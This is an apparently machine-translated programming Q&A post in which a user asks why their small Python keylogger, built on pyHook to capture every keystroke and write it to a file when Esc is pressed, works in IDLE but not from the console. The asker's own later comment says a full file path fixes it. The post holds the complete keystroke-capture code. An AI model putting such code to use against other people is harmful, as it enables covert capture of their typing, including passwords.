我想在python中使這個簡單的鍵盤記錄,它工作得很好,當我運行在空閒,但在控制檯它doesn'將日誌寫入文件。Python腳本打開('文件名')與IDLE工作,但無法在控制檯工作
import pyHook, pythoncom, sys
log = ''
def OnKeyPress(event):
global log
log += chr(event.Ascii)
if event.Ascii == 27: # if user press esc
with open('teste27.txt', 'a') as f:
f.write(log)
f.close()
sys.exit(0)
#instantiate HookManager class
new_hook = pyHook.HookManager()
#listen to all keystrokes
new_hook.KeyDown = OnKeyPress
#Hook the keyboard
new_hook.HookKeyboard()
#start the session
pythoncom.PumpMessages()
我發現了錯誤。只需要指定完整路徑:open(r'C:\ Users \ henrique \ Documents \ Programas \ Python \ Keylogger \ teste27.txt','a') –